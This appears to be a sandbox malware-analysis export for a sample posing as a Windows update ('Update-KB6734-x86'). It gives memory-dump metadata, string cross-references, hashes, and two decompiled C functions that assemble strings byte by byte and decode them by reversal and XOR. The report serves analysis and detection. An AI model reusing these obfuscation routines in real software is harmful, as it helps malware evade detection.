:, xrefs: 0040A80C
., xrefs: 00409FA0
*, xrefs: 0040A5A5
s, xrefs: 0040A804
u, xrefs: 0040A880
`, xrefs: 0040A68E
4, xrefs: 0040AA23
l, xrefs: 0040A987
\, xrefs: 0040A03A
O, xrefs: 0040A5D5
d, xrefs: 0040A878
J, xrefs: 0040AA4A
V, xrefs: 0040A75E
{, xrefs: 0040A170
K, xrefs: 00409F8E
j, xrefs: 0040A0B1
B, xrefs: 00409F86
?, xrefs: 0040A555
r, xrefs: 0040A860
., xrefs: 00409F96
$, xrefs: 0040A7EC
;, xrefs: 0040A5BD
7, xrefs: 0040A5C5
;, xrefs: 0040A62E
), xrefs: 0040A8BB
F, xrefs: 0040A63E
o, xrefs: 0040A870
!, xrefs: 0040A565
&, xrefs: 0040A51D
-, xrefs: 0040A33F
_, xrefs: 0040A61E
C, xrefs: 00409F76
L, xrefs: 0040AA35
E, xrefs: 0040A236
L, xrefs: 0040A04F
], xrefs: 0040A97F
^, xrefs: 00409F7E

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $!$"$"$#$$$&$&$'$)$*$+$-$.$.$2$4$5$7$9$9$:$:$;$;$?$@$B$C$D$E$E$E$F$H$I$I$J$K$L$L$O$O$P$P$T$V$V$Z$[$\$]$^$^$_$_$`$c$d$d$d$d$g$h$j$l$o$p$r$s$t$u${${$}$}
API String ID: 0-3967217698
Opcode ID: ffa1e3fc69652a11b1a6c6df878d9b27e8738cfaffb22d8a44fe04aed7599e5e
Instruction ID: c25c44ad86f806f1bc6481ccfacf67464102ede46037e78e9a54b81988712fa8
Opcode Fuzzy Hash: ffa1e3fc69652a11b1a6c6df878d9b27e8738cfaffb22d8a44fe04aed7599e5e
Instruction Fuzzy Hash: 6A82A03040C7C29AD376CA3884487CBBFD56BE6324F488B9DD1ED4A2D2DA75024AD767

Uniqueness

Uniqueness Score: -1.00%

Function 00404990, Relevance: 76.6, Strings: 61, Instructions: 363
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00404990(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				intOrPtr _v28;
				signed char _v36;
				signed char _v37;
				signed char _v38;
				signed char _v39;
				signed char _v40;
				signed char _v41;
				signed char _v42;
				signed char _v43;
				signed char _v44;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				signed char _v64;
				signed char _v65;
				signed char _v66;
				signed char _v67;
				signed char _v68;
				signed char _v69;
				signed char _v70;
				signed char _v71;
				signed char _v72;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v120;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				signed char _v149;
				signed char _v150;
				signed char _v151;
				signed char _v152;
				signed char _v153;
				signed char _v154;
				signed char _v155;
				signed char _v156;
				signed int _v157;
				signed int _v158;
				signed int _v159;
				signed int _v160;
				signed int _v161;
				signed int _v162;
				signed int _v163;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				signed int _v170;
				signed int _v171;
				signed int _v172;
				signed int _v173;
				signed int _v174;
				signed int _v175;
				signed int _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				signed int _v184;
				signed int _v185;
				signed int _v186;
				signed int _v187;
				signed int _v188;
				signed int _v189;
				signed int _v190;
				signed int _v191;
				signed int _v192;
				signed int* _v196;
				signed char* _v200;
				intOrPtr _v204;
				signed int* _v208;
				char* _v212;
				char* _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				char* _v228;
				char* _v232;
				char* _v236;
				intOrPtr _v240;
				signed int* _v244;
				intOrPtr _v248;
				char _v249;
				intOrPtr _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				intOrPtr _v260;
				char _v264;
				intOrPtr _t281;
				char* _t284;
				signed int* _t286;
				void* _t287;
				void* _t294;
				char _t309;
				void* _t321;
				signed int _t327;
				char _t331;
				void* _t342;
				intOrPtr _t386;
				char _t389;
				char _t390;
				char _t391;
				intOrPtr _t393;
				void* _t395;

				_t395 =  &_v236;
				_t281 =  *0x4310d8; // 0xa9302559
				_v4 = _t281;
				_v107 = 2;
				_v106 = 2;
				_v135 = 2;
				_push(9);
				_push( &_v112);
				_v112 = 0xed;
				_v111 = 0x68;
				_v110 = 0x9b;
				_v109 = 0x28;
				_v108 = 0x1e;
				_v105 = 0x48;
				_v104 = 0xd;
				_v140 = 0x6c;
				_v139 = 9;
				_v138 = 0x71;
				_v137 = 1;
				_v136 = 0x6d;
				_v134 = 0x70;
				_v133 = 0x15;
				_v132 = 0x67;
				_t284 = E00404720( &_v140);
				_push(9);
				_v232 = _t284;
				_push( &_v24);
				_v24 = 0xc1;
				_v23 = 0x6a;
				_v22 = 0x1d;
				_v21 = 4;
				_v20 = 0x88;
				_v19 = 0x6c;
				_v18 = 0x4b;
				_v17 = 0xba;
				_v16 = 0x88;
				_v148 = 0x33;
				_v147 = 0x5d;
				_v146 = 0x32;
				_v145 = 0x56;
				_v144 = 0x65;
				_v143 = 0x57;
				_v142 = 0x3c;
				_v141 = 0x4e;
				_v140 = 0x20;
				_t286 = E00404720( &_v148);
				_v163 = 0x15;
				_t327 = 0;
				_v244 = _t286;
				_v164 = 0xd6;
				_v162 = 0x10;
				_v161 = 0x15;
				_v160 = 0x4c;
				_v159 = 0xc6;
				_v158 = 0x55;
				_v157 = 4;
				_t287 = 0;
				_t389 = 7;
				do {
					_t331 =  *((intOrPtr*)(_t395 + _t287 + 0x60));
					 *((char*)(_t395 + _t287 + 0x60)) =  *((intOrPtr*)(_t395 + _t389 + 0x60));
					_t287 = _t287 + 1;
					 *((char*)(_t395 + _t389 + 0x60)) = _t331;
					_t389 = _t389 - 1;
				} while (_t287 < _t389);
				_v155 = _v163 ^ 0x00000023;
				_v156 = _v164 ^ 0x00000065;
				_v152 = _v160 ^ 0x0000006e;
				_v153 = _v161 ^ 0x00000025;
				_v154 = _v162 ^ 0x000000a1;
				_v149 = _v157 ^ 0x000000d6;
				_v150 = _v158 ^ 0x00000061;
				_v151 = _v159 ^ 0x00000075;
				_v92 = 0x61;
				_v91 = 0x76;
				_v90 = 0x67;
				_v89 = 0x75;
				_v88 = 0x70;
				_v87 = 0x73;
				_v86 = 0x76;
				_v85 = 0x63;
				_v84 = 0x15;
				_v164 = 0x6b;
				_v163 = 0x61;
				_v162 = 0x76;
				_v161 = 0x73;
				_v160 = 0x76;
				_v159 = 0x63;
				_v158 = 0x15;
				_v176 = 0xd7;
				_v175 = 0x9a;
				_v174 = 0xc1;
				_v173 = 0x7f;
				_v172 = 0xc1;
				_v171 = 0xa5;
				_v170 = 0xbd;
				_v169 = 0xc8;
				_v168 = 0x48;
				_t294 = 0;
				_t390 = 8;
				do {
					_v249 =  *((intOrPtr*)(_t395 + _t294 + 0x54));
					 *((char*)(_t395 + _t294 + 0x54)) =  *((intOrPtr*)(_t395 + _t390 + 0x54));
					_t294 = _t294 + 1;
					 *((char*)(_t395 + _t390 + 0x54)) = _v249;
					_t390 = _t390 - 1;
				} while (_t294 < _t390);
				_v44 = _v176 ^ 0x0000003d;
				_v42 = _v174 ^ 0x000000da;
				_v43 = _v175 ^ 0x000000b8;
				_v40 = _v172 ^ 0x000000a0;
				_v41 = _v173 ^ 0x000000d7;
				_v38 = _v170 ^ 0x000000a4;
				_v39 = _v171 ^ 0x0000001b;
				_v104 = 0x73;
				_push(9);
				_v36 = _v168 ^ 0x000000d7;
				_push( &_v68);
				_v37 = _v169 ^ 0x000000e8;
				 *0x431c83 = 0x6c;
				_v116 = 0x64;
				_v115 = 0x72;
				_v114 = 0x77;
				_v113 = 0x65;
				_v112 = 0x62;
				_v111 = 0x75;
				_v110 = 0x70;
				_v109 = 0x77;
				_v108 = 0x15;
				_v103 = 0x70;
				_v102 = 0x69;
				_v101 = 0x64;
				_v100 = 0x65;
				_v99 = 0x72;
				_v98 = 0x6d;
				_v97 = 0x6c;
				_v96 = 0x15;
				_v68 = 0x15;
				_v67 = 0x6d;
				_v66 = 6;
				_v65 = 6;
				_v64 = 0x34;
				_v63 = 0xa9;
				_v62 = 0x5f;
				_v61 = 3;
				_v60 = 0x7d;
				_v176 = 0xde;
				_v175 = 0xbf;
				_v174 = 0xca;
				_v173 = 0xbe;
				_v172 = 0xd1;
				_v171 = 0xb5;
				_v170 = 0xda;
				_v169 = 0xad;
				_v168 = 0xc3;
				_t386 = E00404720( &_v176);
				_v256 = 0x6b;
				_v255 = 0x61;
				_v254 = 0x76;
				_v253 = 0x15;
				_v88 = 0x6d;
				_v87 = 0x63;
				_v86 = 0x75;
				_v85 = 0x70;
				_push(8);
				_push( &_v144);
				_v84 = 0x64;
				_v83 = 0x61;
				_v82 = 0x74;
				_v81 = 0x65;
				_v80 = 0x15;
				_v152 = 0x74;
				_v151 = 0x62;
				_v150 = 0x6d;
				_v149 = 0x6f;
				_v148 = 0x6e;
				_v147 = 0x15;
				_v144 = 0x6e;
				_v143 = 0x6a;
				_v142 = 0x52;
				_v141 = 0xa9;
				_v140 = 0xd7;
				_v139 = 0xd9;
				_v138 = 0xe8;
				_v137 = 0x17;
				_v184 = 0x11;
				_v183 = 0x66;
				_v182 = 0x13;
				_v181 = 0x72;
				_v180 = 7;
				_v179 = 0x64;
				_v178 = 8;
				_v177 = 0x7c;
				_t393 = E00404720( &_v184);
				_v192 = 0x69;
				_v191 = 0xc3;
				_v190 = 0xd5;
				_v189 = 0x26;
				_v188 = 0xb9;
				_v187 = 0x12;
				_v186 = 0xca;
				_v185 = 0xbd;
				_v184 = 0x83;
				_t342 = 0;
				_t391 = 8;
				do {
					_t309 =  *((intOrPtr*)(_t395 + _t342 + 0x5c));
					 *((char*)(_t395 + _t342 + 0x5c)) =  *((intOrPtr*)(_t395 + _t391 + 0x5c));
					_t342 = _t342 + 1;
					 *((char*)(_t395 + _t391 + 0x5c)) = _t309;
					_t391 = _t391 - 1;
				} while (_t342 < _t391);
				_v72 = _v192 ^ 0x000000f4;
				_v71 = _v191 ^ 0x000000c8;
				_v70 = _v190 ^ 0x000000ab;
				_v69 = _v189 ^ 0x00000067;
				_v68 = _v188 ^ 0x000000da;
				_v67 = _v187 ^ 0x0000004a;
				_v66 = _v186 ^ 0x000000a1;
				_v65 = _v185 ^ 0x000000f2;
				_v64 = _v184 ^ 0x00000069;
				_v252 = _v256;
				_t243 =  &_v108; // 0x65
				_v248 = _v260;
				_v244 =  &_v172;
				_v240 = _t243;
				_v236 =  &_v180;
				_v232 =  &_v60;
				_v228 =  &_v132;
				_t253 =  &_v120; // 0x62
				_v224 = _t253;
				_v220 = _t386;
				_v216 =  &_v264;
				_v212 =  &_v96;
				_v204 = _t393;
				 *0x431c83 = 0x6c;
				_v192 = 0x77;
				_v191 = 0x75;
				_v190 = 0x70;
				_v189 = 0x64;
				_v188 = 0x6d;
				_v187 = 0x67;
				_v186 = 0x72;
				_v185 = 0;
				_v208 =  &_v160;
				_v200 =  &_v72;
				_v196 =  &_v192;
				while(1) {
					_t321 = E00425320(_v28,  *((intOrPtr*)(_t395 + 0x18 + _t327 * 4)));
					_t395 = _t395 + 8;
					if(_t321 != 0) {
						break;
					}
					_t327 = _t327 + 1;
					if(_t327 < 0xf) {
						continue;
					} else {
						return E00424873(_t321, _v36);
					}
					L11:
				}
				return E00424873(1, _v36);
				goto L11;
			}

0x00404990
0x00404996
0x0040499c
0x004049a6
0x004049ad
0x004049b4
0x004049b8
0x004049c3
0x004049c8
0x004049d0
0x004049d8
0x004049e0
0x004049e8
0x004049f0
0x004049f8
0x00404a00
0x00404a05
0x00404a0a
0x00404a0f
0x00404a14
0x00404a19
0x00404a1e
0x00404a22
0x00404a27
0x00404a2c
0x00404a35
0x00404a3b
0x00404a40
0x00404a48
0x00404a50
0x00404a58
0x00404a60
0x00404a67
0x00404a6f
0x00404a77
0x00404a7f
0x00404a86
0x00404a8b
0x00404a90
0x00404a95
0x00404a9a
0x00404a9f
0x00404aa4
0x00404aa9
0x00404aae
0x00404ab3
0x00404ab8
0x00404abc
0x00404abe
0x00404ac2
0x00404ac7
0x00404acc
0x00404ad0
0x00404ad5
0x00404ada
0x00404adf
0x00404ae4
0x00404ae6
0x00404af0
0x00404af4
0x00404af8
0x00404afc
0x00404afd
0x00404b01
0x00404b02
0x00404b17
0x00404b1f
0x00404b2f
0x00404b37
0x00404b42
0x00404b4f
0x00404b55
0x00404b59
0x00404b5d
0x00404b65
0x00404b6d
0x00404b75
0x00404b7d
0x00404b85
0x00404b8c
0x00404b94
0x00404b9c
0x00404ba3
0x00404ba8
0x00404bad
0x00404bb2
0x00404bb6
0x00404bbb
0x00404bc0
0x00404bc4
0x00404bc9
0x00404bce
0x00404bd3
0x00404bd8
0x00404bdd
0x00404be2
0x00404be7
0x00404bec
0x00404bf1
0x00404bf3
0x00404c00
0x00404c04
0x00404c0c
0x00404c14
0x00404c15
0x00404c19
0x00404c1a
0x00404c28
0x00404c35
0x00404c43
0x00404c50
0x00404c5e
0x00404c6c
0x00404c7b
0x00404c88
0x00404c8f
0x00404c98
0x00404ca4
0x00404ca9
0x00404cb0
0x00404cb7
0x00404cbf
0x00404cc7
0x00404ccf
0x00404cd7
0x00404cdf
0x00404ce7
0x00404cef
0x00404cf7
0x00404cfe
0x00404d06
0x00404d0e
0x00404d16
0x00404d1e
0x00404d26
0x00404d2e
0x00404d36
0x00404d3d
0x00404d44
0x00404d4c
0x00404d53
0x00404d5a
0x00404d62
0x00404d6a
0x00404d72
0x00404d7a
0x00404d82
0x00404d87
0x00404d8c
0x00404d91
0x00404d96
0x00404d9b
0x00404da0
0x00404da5
0x00404daa
0x00404db4
0x00404db6
0x00404dbb
0x00404dc0
0x00404dc5
0x00404dc9
0x00404dd1
0x00404dd9
0x00404de1
0x00404deb
0x00404df4
0x00404df9
0x00404e01
0x00404e09
0x00404e10
0x00404e18
0x00404e1f
0x00404e26
0x00404e2e
0x00404e36
0x00404e3e
0x00404e46
0x00404e4d
0x00404e55
0x00404e5d
0x00404e65
0x00404e6d
0x00404e75
0x00404e7d
0x00404e85
0x00404e8d
0x00404e92
0x00404e97
0x00404e9c
0x00404ea1
0x00404ea6
0x00404eab
0x00404eb0
0x00404eba
0x00404ebc
0x00404ec1
0x00404ec6
0x00404ecb
0x00404ed0
0x00404ed5
0x00404eda
0x00404edf
0x00404ee4
0x00404ee9
0x00404eeb
0x00404ef0
0x00404ef4
0x00404ef8
0x00404efc
0x00404efd
0x00404f01
0x00404f02
0x00404f17
0x00404f25
0x00404f32
0x00404f40
0x00404f4e
0x00404f5b
0x00404f69
0x00404f77
0x00404f82
0x00404f89
0x00404f91
0x00404f98
0x00404f9c
0x00404fa0
0x00404fb6
0x00404fba
0x00404fbe
0x00404fc2
0x00404fd4
0x00404fd8
0x00404fdc
0x00404fe0
0x00404ff4
0x00404ff8
0x00404fff
0x00405004
0x00405009
0x0040500e
0x00405013
0x00405018
0x0040501d
0x00405022
0x00405026
0x0040502a
0x0040502e
0x00405033
0x00405040
0x00405045
0x0040504a
0x00000000
0x00000000
0x0040504c
0x00405050
0x00000000
0x00405054
0x00405066
0x00405066
0x00000000
0x00405050
0x00405080
0x00000000

Strings

d, xrefs: 00404EA6
W, xrefs: 00404A9F
<, xrefs: 00404AA4
V, xrefs: 00404A95
r, xrefs: 00404CBF
u, xrefs: 00404B75
3, xrefs: 00404A86
K, xrefs: 00404A6F
d, xrefs: 0040500E
a, xrefs: 00404DBB
d, xrefs: 00404DF9
v, xrefs: 00404BAD
p, xrefs: 00404B7D
i, xrefs: 00404D06
, xrefs: 00404AAE
(, xrefs: 004049E0
p, xrefs: 00404CFE
l, xrefs: 00404A67
&, xrefs: 00404ECB
R, xrefs: 00404E5D
], xrefs: 00404A8B
o, xrefs: 00404E36
v, xrefs: 00404DC0
}, xrefs: 00404D7A
w, xrefs: 00404CC7
m, xrefs: 00404D44
4, xrefs: 00404D5A
a, xrefs: 00404E01
j, xrefs: 00404A48
d, xrefs: 00404CB7
n, xrefs: 00404E4D
w, xrefs: 00404FFF
b, xrefs: 00404E26
n, xrefs: 00404E3E
d, xrefs: 00404D0E
v, xrefs: 00404BB6
edippugvawpubewrd, xrefs: 00404F91
g, xrefs: 00405018
N, xrefs: 00404AA9
m, xrefs: 00404E2E
u, xrefs: 00405004
e, xrefs: 00404E10
p, xrefs: 00405009
j, xrefs: 00404E55
m, xrefs: 00405013
r, xrefs: 00404E9C
2, xrefs: 00404A90
e, xrefs: 00404A9A
g, xrefs: 00404B6D
|, xrefs: 00404EB0
r, xrefs: 0040501D
a, xrefs: 00404BA8
f, xrefs: 00404E92
U, xrefs: 00404ADA
H, xrefs: 004049F0
bewrd, xrefs: 00404FC2
k, xrefs: 00404BA3
e, xrefs: 00404CCF
_, xrefs: 00404D6A
k, xrefs: 00404DB6
v, xrefs: 00404B65

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $&$($2$3$4$<$H$K$N$R$U$V$W$]$_$a$a$a$b$bewrd$d$d$d$d$d$e$e$e$edippugvawpubewrd$f$g$g$i$j$j$k$k$l$m$m$m$n$n$o$p$p$p$r$r$r$u$u$v$v$v$v$w$w$|$}
API String ID: 0-3024838208
Opcode ID: 2a9d7a6043b61eb5a444d87ebce2f5865ace6771c7c66fe5ec91156bfd5689eb
Instruction ID: dfcb897c3c3ddb5f64d256e8bd4ce8caa9f1c39f7f70016a84696abcb0595acb
Opcode Fuzzy Hash: 2a9d7a6043b61eb5a444d87ebce2f5865ace6771c7c66fe5ec91156bfd5689eb
Instruction Fuzzy Hash: EA12BE2010D7C18DE322C678945479FFFD11BA7618F484A9EE1E85B393D6BA8109CB77

Uniqueness

Uniqueness Score: -1.00%

Function 004108D0, Relevance: 70.3, Strings: 56, Instructions: 348
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E004108D0() {
				intOrPtr _v4;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				signed char _v53;
				signed char _v54;
				signed char _v55;
				signed char _v56;
				signed char _v57;
				signed char _v58;
				signed char _v59;
				signed char _v60;
				signed char _v63;
				signed char _v64;
				signed char _v65;
				signed char _v66;
				signed char _v67;
				signed char _v68;
				signed char _v72;
				signed char _v73;
				signed char _v74;
				signed char _v75;
				signed char _v76;
				char _v84;
				char _v92;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				signed int _v117;
				signed int _v118;
				signed int _v119;
				signed int _v120;
				char _v121;
				char _v122;
				signed int _v123;
				signed int _v124;
				char _v125;
				char _v126;
				signed int _v127;
				signed int _v128;
				signed int _v129;
				signed int _v130;
				signed int _v131;
				signed int _v132;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char* _v160;
				char* _v164;
				intOrPtr _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char* _v184;
				char* _v188;
				char* _v192;
				intOrPtr _t281;
				void* _t282;
				void* _t287;
				void* _t294;
				void* _t306;
				void* _t307;
				intOrPtr _t309;
				signed int _t311;
				intOrPtr* _t313;
				char _t324;
				void* _t329;
				char _t334;
				char _t343;
				intOrPtr _t350;
				char _t353;
				char _t356;
				char _t363;
				char _t369;
				intOrPtr _t378;
				intOrPtr _t379;
				void* _t380;
				void* _t381;

				_t381 =  &_v168;
				_t281 =  *0x4310d8; // 0xa9302559
				_v4 = _t281;
				_v132 = 0x48;
				_v131 = 0x9c;
				_v130 = 0xf5;
				_v129 = 0x49;
				_v128 = 0xc2;
				_t282 = 0;
				_t324 = 4;
				do {
					_t353 =  *((intOrPtr*)(_t381 + _t282 + 0x30));
					 *((char*)(_t381 + _t282 + 0x30)) =  *((intOrPtr*)(_t381 + _t324 + 0x30));
					_t282 = _t282 + 1;
					 *((char*)(_t381 + _t324 + 0x30)) = _t353;
					_t324 = _t324 - 1;
				} while (_t282 < _t324);
				_v76 = _v132 ^ 0x000000b6;
				_v75 = _v131 ^ 0x0000002c;
				_v73 = _v129 ^ 0x000000e8;
				_v72 = _v128 ^ 0x00000048;
				_v74 = _v130 ^ 0x00000086;
				_v124 = 0xe9;
				_v123 = 0x4f;
				_v122 = 0x7b;
				_v121 = 0x5b;
				_v120 = 0x45;
				_v119 = 0x6d;
				_v118 = 0x70;
				_v117 = 0xcc;
				_t287 = 0;
				_t329 = 7;
				do {
					_t356 =  *((intOrPtr*)(_t381 + _t287 + 0x38));
					 *((char*)(_t381 + _t287 + 0x38)) =  *((intOrPtr*)(_t381 + _t329 + 0x38));
					_t287 = _t287 + 1;
					 *((char*)(_t381 + _t329 + 0x38)) = _t356;
					_t329 = _t329 - 1;
				} while (_t287 < _t329);
				_t43 =  &_v122; // 0x7b
				_v59 = _v123 ^ 0x00000019;
				_v60 = _v124 ^ 0x000000bc;
				_t47 =  &_v121; // 0x5b
				_v58 =  *_t43 ^ 0x0000000e;
				_v56 = _v120 ^ 0x0000002e;
				_v57 =  *_t47 ^ 0x00000031;
				_v55 = _v119 ^ 0x00000009;
				_v53 = _v117 ^ 0x000000e9;
				_v54 = _v118 ^ 0x0000002a;
				_v132 = 0x13;
				_v131 = 0x80;
				_v130 = 0xd4;
				_v129 = 0x84;
				_v128 = 0x46;
				_v127 = 0xa1;
				_t294 = 0;
				_t334 = 5;
				do {
					_t363 =  *((intOrPtr*)(_t381 + _t294 + 0x30));
					 *((char*)(_t381 + _t294 + 0x30)) =  *((intOrPtr*)(_t381 + _t334 + 0x30));
					_t294 = _t294 + 1;
					 *((char*)(_t381 + _t334 + 0x30)) = _t363;
					_t334 = _t334 - 1;
				} while (_t294 < _t334);
				_v66 = _v130 ^ 0x000000e8;
				_v68 = _v132 ^ 0x000000c9;
				_v63 = _v127 ^ 0x00000013;
				_v67 = _v131 ^ 0x00000023;
				_v65 = _v129 ^ 0x000000b8;
				_push(0x15);
				_v43 = 4;
				_v107 = 4;
				_push( &_v52);
				_v64 = _v128 ^ 0x000000ef;
				 *0x431c89 = 0x19;
				_v52 = 0x15;
				_v51 = 0x5b;
				_v50 = 0x4e;
				_v49 = 0xb8;
				_v48 = 0x25;
				_v47 = 0x36;
				_v46 = 0xbd;
				_v45 = 0xf0;
				_v44 = 0x42;
				_v42 = 0x81;
				_v41 = 0x58;
				_v40 = 0x60;
				_v39 = 0xea;
				_v38 = 0xd6;
				_v37 = 0x4c;
				_v36 = 0xeb;
				_v35 = 0x4b;
				_v34 = 0xed;
				_v33 = 0x96;
				_v32 = 0xae;
				_v116 = 0x29;
				_v115 = 0x64;
				_v114 = 5;
				_v113 = 0x6c;
				_v112 = 0;
				_v111 = 0x20;
				_v110 = 0x64;
				_v109 = 1;
				_v108 = 0x6d;
				_v106 = 0x72;
				_v105 = 0x17;
				_v104 = 0x65;
				_v103 = 0x1c;
				_v102 = 0x3c;
				_v101 = 0x6f;
				_v100 = 0x16;
				_v99 = 0x65;
				_v98 = 0x11;
				_v97 = 0x74;
				_v96 = 0x19;
				_t379 = E0040D980( &_v116);
				_v36 = 0x78;
				_v35 = 0x8e;
				_v34 = 0x63;
				_v33 = 0xf8;
				_v32 = 0x41;
				_v31 = 0xc4;
				_v30 = 0x77;
				_v29 = 0xec;
				_v28 = 0xc6;
				_v27 = 0x36;
				_v17 = 0xc6;
				_push(0x18);
				_t138 =  &_v36; // 0x41
				_v19 = 0x90;
				_v111 = 0x90;
				_v26 = 0xb7;
				_v25 = 0x30;
				_v24 = 0xb3;
				_v23 = 0x6c;
				_v22 = 0xa5;
				_v21 = 0x11;
				_v20 = 0x6f;
				_v18 = 0x73;
				_v16 = 0x20;
				_v15 = 0xf3;
				_v14 = 0x9b;
				_v13 = 0xbd;
				_v124 = 0xb5;
				_v123 = 0xf8;
				_v122 = 0x99;
				_v121 = 0xf0;
				_v120 = 0x9c;
				_v119 = 0xbc;
				_v118 = 0xe8;
				_v117 = 0x9a;
				_v116 = 0xfb;
				_v115 = 0x95;
				_v114 = 0xe6;
				_v113 = 0x87;
				_v112 = 0xe4;
				_v110 = 0xf9;
				_v109 = 0x96;
				_v108 = 0xf8;
				_v107 = 0xd8;
				_v106 = 0x9e;
				_v105 = 0xff;
				_v104 = 0x96;
				_v103 = 0xfa;
				_v102 = 0x9f;
				_v101 = 0xfb;
				_t378 = E0040D980( &_v124);
				_t343 = 0xd;
				_v119 = 0x35;
				_v108 = 0x35;
				_v132 = 0x2b;
				_v131 = 0x63;
				_v130 = 0x54;
				_v129 = 0xbc;
				_v128 = 0x6d;
				_v127 = 0x21;
				_v126 = 0xf4;
				_v125 = 0x2a;
				_v124 = 0x3c;
				_v123 = 0xd7;
				_v122 = 0x97;
				_v121 = 0xbf;
				_v120 = 0x79;
				_v107 = 0xd;
				_v106 = 0xcd;
				_v105 = 0xf8;
				_v104 = 0xa7;
				_v103 = 0x59;
				_v102 = 0x78;
				_v101 = 0xd4;
				_v100 = 0x53;
				_v99 = 8;
				_v98 = 0xca;
				_v97 = 0x26;
				_v96 = 6;
				_v95 = 0x78;
				_t306 = 0;
				do {
					_t369 =  *((intOrPtr*)(_t381 + _t306 + 0x58));
					 *((char*)(_t381 + _t306 + 0x58)) =  *((intOrPtr*)(_t381 + _t343 + 0x58));
					_t306 = _t306 + 1;
					 *((char*)(_t381 + _t343 + 0x58)) = _t369;
					_t343 = _t343 - 1;
				} while (_t306 < _t343);
				_t307 = 0;
				 *0x431c89 = 0x19;
				do {
					 *(_t381 + _t307 + 0x40) =  *(_t381 + _t307 + 0x40) ^  *(_t381 + _t307 + 0x58);
					 *(_t381 + _t307 + 0x41) =  *(_t381 + _t307 + 0x41) ^  *(_t381 + _t307 + 0x59);
					_t307 = _t307 + 2;
				} while (_t307 < 0xe);
				_push(7);
				_push( &_v140);
				_v140 = 0x31;
				_v139 = 0x19;
				_v138 = 0x41;
				_v137 = 0xcf;
				_v136 = 0x52;
				_v135 = 0x3b;
				_v134 = 0xf5;
				_v148 = 0xf1;
				_v147 = 0xa2;
				_v146 = 0xd6;
				_v145 = 0xb7;
				_v144 = 0xc3;
				_v143 = 0xb6;
				_v142 = 0xc5;
				_t309 = E0040D980( &_v148);
				_v192 =  &_v100;
				_v188 =  &_v84;
				_v184 =  &_v92;
				_v168 = _t309;
				_v156 = 0x45;
				_v155 = 0x72;
				_v154 = 0x72;
				_v153 = 0x6f;
				_v152 = 0x72;
				_v151 = 0;
				_v116 = 0x47;
				_v115 = 0x6f;
				_v114 = 0x6f;
				_v113 = 0x64;
				_v112 = 0x20;
				_v111 = 0x64;
				_v110 = 0x61;
				_v109 = 0x79;
				_v108 = 0;
				_v180 = _t379;
				_v176 = _t378;
				_v172 =  &_v140;
				_v164 =  &_v156;
				_v160 =  &_v116;
				_t311 = E0040C1D0( &_v140);
				_t377 =  *((intOrPtr*)(_t381 + 0xc + _t311 % 9 * 4));
				_t313 =  *((intOrPtr*)(_t381 + 0xc + _t311 % 9 * 4));
				_t380 = _t313 + 1;
				do {
					_t350 =  *_t313;
					_t313 = _t313 + 1;
				} while (_t350 != 0);
				return E00424873(E004028A0(_v20, _t377, _t313 - _t380), _v36);
			}

0x004108d0
0x004108d6
0x004108dd
0x004108e4
